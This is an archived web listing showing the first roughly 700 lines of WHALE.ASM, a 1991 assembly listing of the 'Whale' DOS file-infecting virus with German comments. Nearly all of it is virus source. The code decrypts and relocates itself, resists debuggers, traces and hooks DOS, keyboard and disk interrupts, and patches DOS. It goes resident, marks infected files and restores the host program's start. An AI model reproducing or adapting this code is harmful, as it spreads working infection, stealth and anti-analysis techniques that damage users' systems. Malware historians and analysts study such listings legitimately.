home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / WHALE.ASM < prev    next >
Assembly Source File  |  1991-05-26  |  230KB  |  5,199 lines

  1. ;=====================================================================
  2. ;=====================================================================
  3. ;       The WHALE                                                    ;
  4. ;                                                                    ;
  5. ;       Listing erstellt 1991 , R. Hörner , Karlsruhe , FRGDR        ;
  6. ;                                                                    ;
  7. ;=====================================================================
  8. ;=====================================================================
  9. code            SEGMENT
  10.                 ASSUME  CS:code,DS:code,ES:CODE
  11.                 .RADIX 16
  12.                 ORG     100h
  13. ;---------------------------------------------------------------------
  14. ;----------------( Struktur der Entscheidungs-Tabelle für INT 21h )---
  15. ;---------------------------------------------------------------------
  16. IF_THEN         STRUC
  17. WENN            DB      ?
  18. DANN            DW      ?
  19.                 ENDS
  20. ;==========================================( Der Decoder-Aufruf   )===
  21. MDECODE         MACRO   Adr
  22.                 CALL    DECODE
  23.                 DW      @L&adr-L&Adr
  24. L&Adr:
  25.                 ENDM
  26. ;==========================================( der Coder-Aufruf     )===
  27. MCODE           MACRO   Adr
  28.                 CALL    CODEIT
  29.                 DB      @L&Adr-L&Adr+1
  30. @L&Adr:
  31.                 ENDM
  32. ;---------------------------------------------------------------------
  33. ;--------------------------------------------------( für Mutanten )---
  34. L04BB5          EQU     OFFSET D4BB5
  35. J00000          EQU     L04BB5 - Offset Entry
  36. J11111          EQU     L04BB5 - Offset @INT21
  37. ZweiByte        EQU     J00000 / 2
  38. DreiByte        EQU     J00000 / 3
  39. M_Size          EQU     OFFSET J03AD0-OFFSET J03A84
  40. ;---------------------------------------------------------------------
  41. ;-------------------------------------------( "Mutierende" Makros )---
  42. ;---------------------------------------------------------------------
  43. CALL_INT21      MACRO   Adr,adr1                ; Selbst-Relozierend
  44.  
  45.                 DB      0E8H
  46.                 DW      - (LL&ADR + J11111 + 1)
  47. LL&ADR          EQU     $-OFFSET ADR1
  48.                 ENDM
  49. ;---------------------------------------------------------------------
  50. CALL_ENTRY      MACRO   Adr,adr1                ; Selbst-Relozierend
  51.                 DB      0E8H
  52.                 DW      - (CE&ADR + J00000 )
  53. CE&ADR          EQU     $-OFFSET ADR1
  54.                 ENDM
  55. ;---------------------------------------------------------------------
  56. JMP_ENTRY       MACRO   Adr,adr1                ; Selbst-Relozierend
  57.                 DB      0E9H
  58.                 DW      - (JM&ADR + J00000 )
  59. JM&ADR          EQU     $-OFFSET ADR1
  60.                 ENDM
  61. ;=====================================================================
  62. ;===============================================( zur relozierung )===
  63. ;=====================================================================
  64. FirstByte       EQU     OFFSET @FirstByte-OFFSET VirStart      ;   20h
  65. CODE_LEN        EQU     OFFSET LASTCODE-OFFSET @FirstByte      ; 2385H
  66. CODE_START      EQU     OFFSET J04BCF - OFFSET @FirstByte      ; 239FH
  67. ;=====================================================================
  68. ;============================================( veränderlicher Code)===
  69. ;=====================================================================
  70. SwapCode_1      EQU     Offset Decode - Offset VirStart        ; 0A33h
  71. Swapcode_2      EQU     OFFSET J03A20 - Offset VirStart        ; 1210h
  72. Swapcode_3      EQU     OFFSET J0491A - Offset J03047          ; 18D3h
  73. SwapCode_4      EQU     OFFSET J03047 - Offset VirStart        ; 0837H
  74. SwapCode_5      EQU     OFFSET J03259 - Offset VirStart        ; 0A49h
  75. SwapCode_6      EQU     OFFSET J02CFF - Offset VirStart        ; 04EFh
  76. SwapCode_7      EQU     Offset SwitchByte-Offset VirStart;
  77. SwapCode_8      EQU     Offset Int_02 - Offset VirStart        ; 3181h
  78. ;=====================================================================
  79. ;========================================( einfacher zu schreiben )===
  80. ;=====================================================================
  81. XorByte__1      EQU     OFFSET D_4A5E - Offset VirStart        ; 224Eh
  82. XorByte__2      EQU     OFFSET D_4A79 - Offset VirStart        ; 2269h
  83. ;=====================================================================
  84. Part_____1      EQU     OFFSET D4BAC  - OFFSET VirStart        ; 239Ch
  85. Len_Part_1      EQU     OFFSET Lastbyte - Offset D4BAC         ; 0054h
  86. ;=====================================================================
  87. SchwimmZiel     EQU     OFFSET J029C1 - Offset VirStart        ; 01B1h
  88. WischeWeg       EQU     OFFSET D4B7C  - Offset VirStart        ; 236Ch
  89. ;=====================================================================
  90. SS_INIT         EQU     Offset EXE_SS_INIT-Offset VirStart
  91. SP_INIT         EQU     Offset EXE_SP_INIT-Offset VirStart
  92. CODE_INIT       EQU     Offset EXE_CODE_INIT-Offset VirStart
  93. ;=====================================================================
  94. ;=============================( Sprungtabelle für Int 21h-Handler )===
  95. ;=====================================================================
  96. L0699           EQU     Offset J02ea9 - Offset VirStart
  97. L04f4           EQU     Offset J02D04 - Offset VirStart
  98. L06E0           EQU     Offset J02EF0 - Offset VirStart
  99. L06CA           EQU     Offset J02EDA - Offset VirStart
  100. L08CF           EQU     Offset J030DF - Offset VirStart
  101. L06C8           EQU     Offset J02ED8 - Offset VirStart
  102. L0996           EQU     Offset J031A6 - Offset VirStart
  103. L09E4           EQU     Offset J031F4 - Offset VirStart
  104. L1E5E           EQU     Offset J0466E - Offset VirStart
  105. L1DA2           EQU     Offset J045B2 - Offset VirStart
  106. L0AD4           EQU     Offset J0325D - Offset VirStart
  107. L1F70           EQU     Offset J04780 - Offset VirStart
  108. L1D0F           EQU     Offset J0451F - Offset VirStart
  109. ;=====================================================================
  110. ;==============================( wenn ein Debugger erkannt wird...)===
  111. ;=====================================================================
  112. IfDebugWal      EQU     (Offset J04B6A-Offset CreateTempCode+1) / 2
  113. StartDebug      EQU      Offset CreateTempCode-Offset VirStart
  114. ;=====================================================================
  115. ;==========================================( Erklärung fehlt noch )===
  116. ;=====================================================================
  117. @0478           EQU     0478H
  118. @FB88           EQU     10000h-@0478
  119. ;=====================================================================
  120. ;=================================================( COM-Einsprung )===
  121. ;=====================================================================
  122. start:          JMP     ENTRY           ; JMP     Decode_Whale
  123.                 DB      00h
  124. Whale_ID        DW      020CCh          ; kennung, daß File infiziert
  125. ;=====================================================================
  126.                 DB      2300h-6 DUP       (0)
  127. ;---------------------------------------------------------------------
  128. ;
  129. ;       DIESE DATEN WERDEN ZWAR **VOR** DEN CODE
  130. ;       ASSEMBLIERT,  ABER ***HINTER*** DEM CODE ABGELEGT !!
  131. ;
  132. ;       DAS IST DER ***EINZIGE GRUND*** WARUM DIE VIELEN
  133. ;       NULL-BYTES VOR DEM WAL STEHEN !!!
  134. ;
  135. ;       DER CODE IST Code_len BYTE LANG.
  136. ;
  137. ;       AB OFFSET Code_len DÜRFEN ALSO DATEN STEHEN.
  138. ;       DESHALB GIBT ES AUCH KEINE DATEN, DIE ***VOR*** DIESEM
  139. ;       OFFSET ABGELEGT WERDEN !
  140. ;====================================================================
  141. ;===========================================( Speichereinteilung )===
  142. ;====================================================================
  143. ;       Assemblierungszeit :   Zur Laufzeit (resident):
  144. ;
  145. ;       +-CS:0100=DS:0100-+    +--CS:0000-DS:2810-+  <- Segment 9D90h
  146. ;       |                 |    |  Code            |
  147. ;       |    Leer         |    |                  |
  148. ;       |                 |    |                  |
  149. ;       +-CS:2400=DS:2400-+    +--CS:2400-DS:4C10-+ (DS:4C43=CS:2433!)
  150. ;       |    Daten        |    |  DATEN           |
  151. ;       +-CS:2700=DS:2700-+    +--CS:2700-DS:4F10-+  <--Speicherbedarf
  152. ;       |    Leer         |    |  Grafikkarte     |  incl. Zugriff auf
  153. ;       +-CS:2800=DS:2800-+    |                  |      residenten
  154. ;       | Save-Daten+Code |    |                  |     COMMAND.COM
  155. ;       +-CS:2810=DS:2810-+    |                  |
  156. ;       |                 |    |                  |
  157. ;       |    Code         |    |                  |
  158. ;       |                 |    |                  |
  159. ;       +-CS:4c00=DS:4C00-+    +------------------+
  160. ;
  161. ;---------------------------------------------------------------------
  162. OFFSET_2400:
  163. CodBuf          DB      1Ch DUP (?)     ; Wirts-File-Beginn / Puffer
  164. ;---------------------------------------------------------------------
  165. D241C           DB      ?
  166. D241D           DB      ?
  167. D241E           DW      ?
  168. D2420           DW      ?
  169. D2422           DW      ?
  170. D2424           DD      ?               ; Adresse des exec-param-blocks
  171. D2428           DB      ?               ; Drive des aktuellen Files
  172. FileTime        DW      ?               ; File-Uhrzeit
  173. FileDate        DW      ?               ; File-Datum
  174. Trace_Adres     DD      ?               ; Temp-DD für Trace-Adresse
  175. D2431           DW      ?
  176. D2433           DB      ?       ; "1" : Nach Verschluesselung INT 21h
  177.                                 ; ausführen und wieder Entschluesseln.
  178. D2434           DB      ?
  179. Low_INT_21H     DD      ?               ; IBMDOS-Adresse INT 21h
  180. @Int_13h        DD      ?               ; Adresse INT 13h
  181. D243D           DD      ?               ; Adresse INT 24H
  182. PSP_SEG         DW      ?               ; PSP-SEGMENT
  183. D2443           DW      ?
  184. D2445           DW      ?
  185. D2447           DW      ?               ; Erster MCB / Tracesegment
  186. D2449           DW      ?
  187. ;---------------------------------------------------------------------
  188. ;--------------------------------------------( wird "JMP CS:2256" )---
  189. ;--------------------------------------------( also "JMP VirInt21")---
  190. D244B           DB      ?
  191. D244C           DW      ?
  192. D244E           DW      ?
  193. ;---------------------------------------------------------------------
  194. D2450           DW      ?               ; Trace-Kontrollwort
  195. D2452           DW      14h     DUP (?)
  196. D247A           DW      14h     DUP (?)
  197. D24A2           DB      ?               ;
  198. @PSP            DW      ?               ; Aktuelles PSP-Segment
  199. FilePos         DD      ?               ; File-Pos
  200. FileSize        DD      ?               ; File-Size
  201. D24AD           DW      ?               ; Offset des Caller-Lese-Puffers
  202. D24AF           DW      ?               ; Anzahl der zu lesenden Byte
  203. D24B1           DW      ?
  204. D24B3           DW      ?               ; CALLERS - Flags !
  205. D24B5:
  206. @FCB            DB      25h     DUP (?) ; FCB
  207. Error           DB      ?               ; ERROR aufgetreten ; 24DA
  208. D24DB           DW      ?
  209. D24DD           DW      ?               ; PLatz für SS
  210. D24DF           DW      ?               ; Platz für SP
  211. D24E1           DW      ?
  212. D24E3           DW      ?               ; Platz für AX
  213. D24E4           DW      ?
  214. ;---------------------------------------------------------------------
  215. D24E6           DW      ?               ; Caller-IP ?
  216. D24E8           DW      ?               ; Caller-CS ?
  217. D24EA           DW      ?               ; Returnadresse zwischen Push/Pop
  218. D24EC           DW      ?               ;
  219. D24EE           DB      ?
  220. D24EF           DB      ?
  221. ;---------------------------------------------------------------------
  222. D24F0           DB      ?
  223. EPB             DB      ?               ; Start EPB
  224. D24F2           DW      ?               ; File-Attribut
  225. D24F4           DW      ?               ; Offset Filename / ASCIIZ
  226. D24F6           DW      ?               ; Segment Filename / ASCIIZ
  227. D24F8           DW      ?               ;
  228. D24FA           DW      ?               ;
  229. D24FC           DW      ?
  230. D24FE           DB      ?
  231. ;---------------------------------------------------------------------
  232. D24FF           DW      ?               ; SP-init
  233. D2501           DW      ?               ; SS-init
  234. D2503           DW      ?               ; IP-init
  235. D2505           DW      ?               ; CS-init
  236. ;---------------------------------------------------------------------
  237. Cmd_Line        DB      50H dup (?)     ; command-line
  238. ;---------------------------------------------------------------------
  239. D2557           DW      ?               ; Orig.SP
  240. D2559           DW      ?               ; Orig.SS
  241. Vir_SP          DW      ?               ; Vir. SP
  242. D245D           DW      ?
  243. D245F           DB      ?
  244. D2560           DW      ?               ; Platz für AX
  245. D2562           DW      ?               ; Platz für BX
  246. D2564           DW      ?               ; Platz für CX
  247. ;-------------------------------( als virtuelle Code-Area genutzt )---
  248. @INT21          DD      ?               ; ADRESSE Original INT 21H
  249. D256A           DW      ?
  250. D256C           DW      ?
  251. D256E           DW      ?
  252. ;-------------------------------------------( wird "JMP CS:2273"  )---
  253. ;-------------------------------------------( also "JMP VirInt09" )---
  254. D2570           DB      ?
  255. D2571           DW      ?
  256. D2573           DW      ?
  257. ;---------------------------------------------------------------------
  258. D2575           DW      ?               ; SAVE SI
  259. D2577           DW      ?               ; SAVE DI
  260. D2579           DW      ?               ; SAVE AX
  261. D257B           DW      ?               ; SAVE DS
  262. D257D           DW      ?               ; SAVE ES
  263. D257F           DW      ?               ; SAVE CX
  264. ;---------------------------------------------------------------------
  265. D2581           DW      ?               ; SAVE BX
  266. INT_09          DD      ?               ; Original INT 09
  267. D2587           DB      ?               ; wird bei J02975 geschrieben
  268. D2588           DW      ?
  269. D258A           DW      ?
  270. InfectFlag      DB      ?               ; "1" nach der ersten Infektion
  271. D258D           DB      ?
  272. D258E           DW      ?               ; Platz für Flags
  273. ;---------------------------------------------------------------------
  274. D2590           DW      ?               ; SAVE DX
  275. @INT02          DD      ?               ; Originaler INT 02
  276. TrashFlag       DB      ?               ; "1" : Statt einer Infektion,
  277.                                         ;     wird Trash weggeschrieben
  278. D2597           DB      ?
  279. D2598           DW      ?               ; hier kommt z.B. "HLT" hin...
  280. D259A           DW      ?               ;
  281. ;---------------------------------------------------------------------
  282. D259C           DD      ?
  283. D25A0           DB      160h DUP (0)
  284.  
  285. D2700:          ; VIRUS-STACK -^^^
  286. ;---------------------------------------------------------------------
  287.                 DB      100 DUP (0)
  288. J02801:         DB      0
  289. J02802:         DB      0
  290. J02803:         DB      0
  291. J02804:         DB      0
  292. J02805:         DB      0
  293. J02806:         DB      0
  294. J02807:         DB      0
  295. ;---------------------------------------------------------------------
  296. J02808:                 MOV     AH,4Ch          ; main() :-)))
  297.                         MOV     AL,[ErrorCode]
  298.                         INT     21
  299. ErrorCode               DB      00h
  300. ;---------------------------------------------------------------------
  301. ;       Hier beginnt WHALE
  302. ;---------------------------------------------------------------------
  303. VIRSTART:               DB      00h             ;02810
  304. J02811:                 JMP     Decode_Whale
  305. ;=====================================================================
  306. ;======( Puffer für die ersten 1Ch Byte des infizierten Programmes)===
  307. ;=====================================================================
  308. EXE_ID:                 DW      04CB4H          ; 'MZ'      / MOV AH,4C
  309. EXE_LastBytes:          DW      021CDH          ; Lastbytes / INT 21
  310. EXE_Pages:              DW      0               ; Pages
  311. EXE_Rel_Count           DW      0               ; Reloc-Count
  312. EXE_Paras:              DW      0               ; Headerpara
  313. EXE_MinFree:            DW      0               ; minfree
  314. EXE_MaxFree:            DW      0               ; maxfree
  315. EXE_SS_INIT:            DW      0               ; ss-init
  316. EXE_SP_INIT:            DW      0               ; sp-init
  317. EXE_ByteSum:            DW      0               ; bytesum
  318. EXE_CODE_INIT:          DD      0               ; ip-init, cs-init
  319. EXE_Reloc_Ofs:          Dw      0               ; reloc-offset
  320. EXE_Ovl_Num:            DW      0               ; ovl-num
  321. ;---------------------------------------------------------------------
  322. @FIRSTBYTE:      ;<----------------( erstes Byte im oberen Segment )---
  323. EXE_FLAG                DB      0               ; "1" : EXE-FILE
  324. ;=====================================================================
  325. ;==================================( erster CALL nach Dekodierung )===
  326. ;==================================( 'echter' Einsprung           )===
  327. ;=====================================================================
  328. Offset_2831:
  329. ENTRY:          CALL    J0288E
  330. ;---------------------------------------------------------------------
  331. Vir_NAME:       DB      "THE WHALE"
  332. ;---------------------------------------------------------------------
  333.                 DB      0ffh
  334.                 db      036h
  335.                 db      0c7h
  336. ;----------------------------------------------------------(trash?)---
  337.                 PUSH    ES
  338. J02842:         PUSH    BX
  339.                 INC     WORD Ptr DS:[0458h]     ; evtl Cursor-Loc auf
  340.                 JNZ     J0284C                  ; page 5 (??!??)
  341.                 JMP     J02A4F                  ; -> Nirwana
  342. ;====================================================()===============
  343. J0284C:         MOV     AX,CS:[BX]
  344.                 ADD     BX,+02h
  345.  
  346. J02852:         JZ      J0287E                  ; = RET nach altem BX
  347.                 ADD     CS:[BX],AX
  348.                 LOOP    J0284C
  349.                 POP     BX
  350.                 DB      9fh,06h
  351. ;=====================================================================
  352. ;==================( folgender Code wird an Adresse 2566h erzeugt )===
  353. ;=====================================================================
  354. ;@INT21:        DW      2568h           ; für "call word ptr [@int21]"
  355. ;D2568:         PUSHF
  356. ;               CALL    FAR CS:[Low_INT_21H]  ; CALL OLD INT 21
  357. ;               RET
  358. ;---------------------------------------------------------------------
  359. CreateTempCode: MOV     Word Ptr DS:[@INT21  ],Offset @INT21+2
  360.                 POP     BX
  361.                 MOV     WORD Ptr DS:[@INT21+2],2E9Ch
  362.                 ADD     BX,+02h                 ; SIC !
  363.                 MOV     WORD Ptr DS:[D256A],1EFFh
  364.                 MOV     WORD Ptr DS:[D256C],OFFSET Low_INT_21H
  365.                 PUSH    BX
  366.                 MOV     WORD Ptr DS:[D256E],00C3h
  367. J0287E  EQU     $-1                             ; zeigt auf "RET"
  368.                 MOV     WORD Ptr DS:[Vir_SP],2700h
  369. EIN_RETURN:     RETN                            ; RETURN 2 Byte weiter
  370. ;=====================================================================
  371. ;---------------------------------------------------------( Trash )---
  372. J02887:         PUSH    CX
  373.                 MOV     CX,CS:[BX]
  374.                 DB      2eh,8bh,1Eh
  375. ;=====================================================================
  376. ;====================================( Teil-Initialisierung von SI)===
  377. ;====================================( IRET führt nach J02983     )===
  378. ;====================================( Wird als erstes ausgeführt )===
  379. ;=====================================================================
  380. J0288E:         POP     BX
  381.                 ADD     BX,OFFSET J02983-Offset Vir_NAME
  382.                 PUSHF
  383.                 PUSH    CS
  384.                 PUSH    BX
  385.                 MOV     SI,BX                   ; BX = SI = 2983h
  386.                 IRET
  387. ;---------------------------------------------------------( Trash )---
  388.                 DB      0E9h,031h,002h,0ffh,0b4h,029h
  389.                 DB      001h,059h,02eh,0ffh,007h,02eh
  390.                 DB      023h,037h,05fh,0f3h,0a4h,0EBh
  391. ;====================================================================
  392. J028AB:         PUSH    DS                ; altes DS auf Stack
  393.                 PUSH    CS
  394.                 POP     DS
  395.                 CALL    CreateTempCode    ; Return ist 1 word weiter !
  396.                 ;--------------
  397.                 DW      58EAh
  398.                 ;--------------
  399. ;=====================================================================
  400. ;==================================================( Code-Patcher )===
  401. ;=====================================================================
  402. ;       BX zeigt auf J03047
  403. ;       aus     "CMP BX,SI"
  404. ;       wird
  405. ;       J03074: XOR     CS:[SI],BX
  406. ;               NOP
  407. ;               RET
  408. ;---------------------------------------------------------------------
  409. ;
  410. J028B3:         MOV     BX,OFFSET J03047-Offset VirStart
  411.                 XOR     WORD Ptr DS:[BX],0EF15h
  412.                 ADD     BX,+02h
  413.                 XOR     WORD Ptr DS:[BX],4568h
  414.                 MOV     SI,OFFSET J0491A-OFFSET VirStart
  415.                 POP     DS                        ; Altes DS zurück
  416.                 CALL    PATCH                     ; Gleich ausführen !
  417. ;=====================================================================
  418. ;======================================( WAL ist jetzt erst scharf)===
  419. ;=====================================================================
  420. AFTER_PATCH:    MDECODE  1
  421.  
  422.                 CALL    StopINT_02
  423.  
  424.                 MOV     CS:[D24E3],AX
  425.                 MOV     AH,52h                     ; sic !
  426.                 MOV     CS:[PSP_SEG],DS
  427.                 INT     21
  428.                 MOV     AX,ES:[BX-02h]             ; Hole ersten MCB !
  429.                 MOV     CS:[D2447],AX
  430.                 PUSH    CS
  431.                 POP     DS
  432.  
  433.                 MOV     AL,21h
  434.                 CALL    GetInt_AL
  435.  
  436.                 MOV     WORD PTR DS:[Trace_Adres+2],ES   ; Get INT 21h
  437.                 MOV     WORD PTR DS:[Trace_Adres  ],BX
  438.  
  439.                 MOV     DX,Offset Int_01_entry-Offset VirStart
  440.                 MOV     AL,01h
  441.                 MOV     BYTE Ptr DS:[D2450],00h    ; keinen übergehen
  442.                 CALL    SetInt_AL                  ; SET INT 01
  443.                 MCODE   1
  444. ;=====================================================================
  445. ;===================================================(TRACE INT 21h)===
  446. ;=====================================================================
  447.                 MDECODE  2
  448.                 ;-----------------------------
  449.                 PUSHF
  450.                 POP     AX
  451.                 OR      AX,0100h                ; Tf ein
  452.                 PUSH    AX
  453.                 POPF
  454.                 ;-----------------------------
  455.                 PUSHF
  456.                 MOV     AH,61h
  457.                 CALL    DWORD PTR DS:[Trace_Adres]; TRACE INT 21
  458.                 ;-----------------------------
  459.                 PUSHF
  460.                 POP     AX
  461.                 AND     AX,0FEFFh                ; TF aus
  462.                 PUSH    AX
  463.                 POPF
  464.                 ;-----------------------------
  465.                 LES     DI,DWORD PTR DS:[Trace_Adres] ; Old int 21h
  466.                 ;-----------------------------
  467.                 ; Erzeugt JMP CS:2256/J04A66
  468.                 ;-----------------------------
  469.                 MOV     WORD PTR DS:[Low_INT_21H+2],ES
  470.                 MOV     BYTE Ptr DS:[D244B        ],0EAh
  471.                 MOV     WORD Ptr DS:[D244C        ],2256h
  472.                 MOV     WORD PTR DS:[Low_INT_21H  ],DI
  473.                 MOV     WORD PTR DS:[D244E        ],CS
  474.                 ;-----------------------------
  475.                 CALL    J0298D
  476.                 CALL    Patch_IBMDOS
  477.                 MCODE   2
  478.                 CALL    Wal_Ins_MEMTOP_Kopieren
  479. ;=====================================================================
  480.                 ; Wal entschwindet zur Speicherobergrenze, husch .....
  481. ;#####################################################################
  482. ;
  483. ;#####################################################################
  484. ;=====================================================================
  485. ;====================================( PATCHT INT 09-Verarbeitung )===
  486. ;=====================================================================
  487. INT_09_Patch:   MDECODE 3
  488.                 PUSH    BX
  489.                 PUSH    ES
  490.  
  491.                 MOV     AL,09h                    ; GET INT 09
  492.                 CALL    GetInt_AL
  493.  
  494.                 MOV     WORD PTR CS:[INT_09+2],ES
  495.                 MOV     WORD PTR CS:[INT_09  ],BX
  496.  
  497.                 MOV     BYTE PTR CS:[D2570],0EAh  ; PATCHE "JMP CS:2273"
  498.                 MOV     WORD PTR CS:[D2573],CS    ; INS SCRATCHPAD
  499.                 MOV     WORD PTR CS:[D2571],Offset J04A83-Offset VirStart
  500.                                                   ; = JMP CS:4A83
  501.  
  502.                 CALL    Patch_INT_09
  503.                 POP     ES
  504.                 POP     BX
  505. J02975:         MOV     BYTE PTR CS:[D2587],00h
  506.  
  507.                 MCODE   3
  508.                 RETN
  509. ;------------------------------
  510.                 DW      027E9H
  511.                 DW      0EA1Ah
  512. ;=====================================================================
  513. ;============================================( Get Virstart in SI )===
  514. ;=====================================================================
  515. J02983:         SUB     SI,OFFSET J02983 - Offset VirStart
  516.                 JMP     J02F15                  ; SI ist jetzt 2810h
  517. ;=====================================================================
  518.                 DB      089h,0F3h,0E8H
  519. ;=====================================================================
  520. ;=========================================( Get INT 2F and INT 13 )===
  521. ;=====================================================================
  522. J0298D:         MDECODE 4
  523.  
  524.                 MOV     AL,2Fh                  ; GET INT 2F
  525.                 CALL    GetInt_AL
  526.  
  527.                 MOV     BX,ES
  528.                 CMP     CS:[D2447],BX
  529.                 JNB     J029BC
  530.  
  531.                 CALL    Trace_int_13h
  532.  
  533.                 MOV     DS,WORD PTR CS:[Trace_Adres+2]
  534.                 PUSH    WORD PTR    CS:[Trace_Adres  ]
  535.                 POP     DX                      ; DS:DX
  536.  
  537.                 MOV     AL,13h
  538.                 CALL    SetInt_AL               ; SET INT 13
  539.  
  540.                 XOR     BX,BX
  541.                 MOV     DS,BX                   ; DS = 0
  542.                 MOV     BYTE Ptr DS:[0475h],02h ; Number of Hard-Drives
  543.  
  544. J029BC:         MCODE   4
  545.                 RETN
  546. ;=====================================================================
  547. ;==========================( Erste Routine, die im Oberen Speicher)===
  548. ;==========================( ausgeführt wird.                     )===
  549. ;==========================( AB JETZT ist Offset 2810h = OFFSET 0 )===
  550. ;=====================================================================
  551. J029C1:         MDECODE 5
  552.                 CALL    Patch_IBMDOS    ; Original wiederherstellen
  553.                 MOV     CS:[D244E],CS   ; JMP CS:2256 korrigieren..
  554.                                         ; ist jetzt bei 4A66 ...
  555.                 CALL    Patch_IBMDOS    ; und wieder Patchen
  556.  
  557.                 PUSH    CS
  558.                 POP     DS
  559.                 PUSH    DS
  560.                 POP     ES              ; ES=DS=CS
  561.                 CALL    INT_09_Patch    ; Patche INT 09
  562.  
  563.                 MOV     BYTE Ptr DS:[InfectFlag],00h
  564.                 CALL    Re_SET_Int_02
  565.  
  566.                 MOV     AX,[PSP_SEG]
  567.                 MOV     ES,AX
  568.                 LDS     DX,ES:[000Ah]   ; INT 22h in DS:DX
  569.                 MOV     DS,AX
  570.                 ADD     AX,0010h
  571.                 ADD     CS:[OFFSET EXE_Reloc_Ofs-Offset VirStart],AX
  572.  
  573.                 CMP     BYTE PTR CS:[OFFSET EXE_FLAG-OFFSET VIRSTART],00h
  574.                                         ; IST ES EIN EXE ??
  575.                 STI
  576.                 MCODE   5
  577.                 JNZ     J02A2E
  578. ;=====================================================================
  579. ;================================( restore Code-Start im alten CS )===
  580. ;=====================================================================
  581.                 MDECODE 6
  582.                 MOV     AX,CS:[Offset EXE_ID-Offset VirStart  ]
  583.                 MOV     WORD PTR DS:[0100h],AX
  584.                 MOV     AX,CS:[Offset EXE_ID-Offset VirStart+2]
  585.                 MOV     WORD PTR DS:[0102h],AX
  586.                 MOV     AX,CS:[Offset EXE_ID-Offset VirStart+4]
  587.                 MOV     WORD PTR DS:[0104h],AX
  588.  
  589.                 PUSH    CS:[PSP_SEG]    ; PUSH Start-Segment
  590.                 XOR     AX,AX
  591.                 INC     AH
  592.                 PUSH    AX              ; AX = 100h
  593.                 MOV     AX,CS:[D24E3]
  594.                 MCODE   6
  595.                 RETF                ; == JMP PSP_SEG:100H == COM-START
  596. ;=====================================================================
  597. ;=============================================( JMP zum EXE-Start )===
  598. ;=====================================================================
  599. J02A2E:         MDECODE 7
  600.                 ADD     CS:[SS_INIT],AX
  601.                 MOV     AX,CS:[D24E3]
  602.                 MOV     SP,CS:[SP_INIT]
  603. J02A41:         MOV     SS,CS:[SS_INIT]
  604.                 MCODE   7
  605.                 JMP     DWORD PTR CS:[CODE_INIT]
  606. ;=========================================================(trash !)===
  607. J02A4F:         PUSH    AX
  608.                 MOV     AX,0000h
  609.                 MOV     DS,AX
  610.                 POP     AX
  611.                 MOV     BX,Word ptr CS:[06C7h]          ; CS:2ED7 = E3CB
  612.                 MOV     Word Ptr DS:[000CH],BX          ; INT 3 setzen !
  613.                 MOV     Word Ptr DS:[000EH],CS
  614.                 DB      0E8h                            ; CALL 5DBA ?!?
  615. ;=====================================================================
  616. ;==============================================( TRACE-ROUTINE )======
  617. ;=====================================================================
  618. J02A63:         PUSH    BP
  619.                 XOR     BX,BX
  620.                 MOV     BP,SP
  621.                 MOV     DS,BX
  622.                 AND     WORD Ptr [BP+06h  ],0FEFFh ; ? Change Flags ?
  623.                 MOV     Word Ptr DS:[0004h],AX
  624.                 MOV     Word Ptr DS:[000Eh],CS   ; SET INT 3 SEGMENT
  625.                 MOV     Word Ptr DS:[000Ch],SI   ; SET INT 3 OFFSET
  626.                 CALL    J02CD8                   ; Kein Return, sondern
  627.                                                  ; sowas wie 'IRET'
  628. ;=====================================================================
  629. J02A7D:
  630. ;======================================================( Trash ???)===
  631.         DB      0E9h,0f2h,0eh
  632.         DB      0BEh                             ;02A80
  633.         DB      0BBh                             ;02A81
  634.         DB      0ABh                             ;02A82
  635.         DB      0EBh                             ;02A83
  636.         DB      0EFh                             ;02A84
  637.         DB      0AFh                             ;02A85
  638.         DB      0BBh                             ;02A86
  639.         DB      0EFh                             ;02A87
  640.         DB       2 DUP (0ABh)                    ;02A88
  641.         DB       2 DUP (0BFh)                    ;02A8A
  642.         DB      0EFh                             ;02A8C
  643.         DB      0ABh                             ;02A8D
  644.         DB      0EBh                             ;02A8E
  645.         DB       2 DUP (0ABh)                    ;02A8F
  646.         DB      0BFh                             ;02A91
  647.         DB      0EBh                             ;02A92
  648.         DB      0EFh                             ;02A93
  649.         DB      0EBh                             ;02A94
  650.         DB       2 DUP (0ABh)                    ;02A95
  651.         DB      0FBh                             ;02A97
  652.         DB      0ABh                             ;02A98
  653.         DB      0EBh                             ;02A99
  654.         DB      0BFh                             ;02A9A
  655.         DB      0BBh                             ;02A9B
  656.         DB      0BFh                             ;02A9C
  657.         DB      0ABh                             ;02A9D
  658.         DB      0EBh,2Eh,80h,0fh
  659.         DB      0abh,0e2h,0f9h
  660. ;=====================================================================
  661. ;---( Hier wird der Code neu reloziert, so daß Virstart zum       )---
  662. ;---( Offset 0 wird. Dazu wird das neue Codesegment errechnet und )---
  663. ;---( später über RETF angesprungen. Die Routine muss ausgeführt  )---
  664. ;---( werden, bevor der Code scharf gemacht wird. Der Patcher     )---
  665. ;---( geht vom neuen Codesegment aus.                             )---
  666. ;=====================================================================
  667. Relokator:      CALL    DecodeFollowingCode
  668. J02AA8:         xor     sp,sp     ; Stack verwerfen !
  669.                 call    L2AAD
  670. L2AAD:          mov     bp,ax     ; AX = 0
  671.                 mov     ax,cs
  672.                 mov     bx,0010H
  673.                 mul     bx        ; AX = CS * 16
  674.                 pop     cx        ; CX = Offset L2AAD
  675.                 sub     cx,OFFSET L2AAD-OFFSET VIRSTART
  676.                                   ; CX = Offset L2AAD - 29D
  677.                                   ;    = Offset VirStart = 2810h
  678.                 add     ax,cx     ; DX:AX := CS*10+2810
  679.                 adc     dx,0000   ;
  680.                 div     bx        ; DX:AX := CS+281
  681.                 push    ax        ; Ergebnis auf Stack,
  682.                                   ; (== Segment Returnadresse )
  683.                 mov     ax,Offset J028AB-Offset VirStart
  684.                                   ; Offset Returnadresse ; (CS+281h):09Bh
  685.  
  686.                 push    ax
  687.                 mov     ax,bp     ; AX = 0
  688.                 call    VersteckeCodeWieder
  689. J02ACC:         retf              ; RETURN nach CS:28AB, immer !
  690. ;===========================================================(trash)===
  691. J02ACD:         DB      0B4h,03         ; MOV     AH,03h
  692.                 DB      8bh,0D8h        ; MOV     BX,AX
  693.                 DB      0E9H            ; JMP     J02BBC
  694. ;=====================================================================
  695. ;=============================================( Setzen von INT 01 )===
  696. ;=====================================================================
  697. J02AD2:         CALL    J02AD5
  698. J02AD5:         POP     BX                      ; BX = 2AD5
  699.                 SUB     BX,OFFSET J02AD5-OFFSET J02A63
  700.                                                 ; BX = 2A63
  701.                 PUSH    BX                      ;
  702.                 POP     WORD PTR DS:[0004h]     ; INT 01 Offset = 2A63
  703.                 PUSH    CS
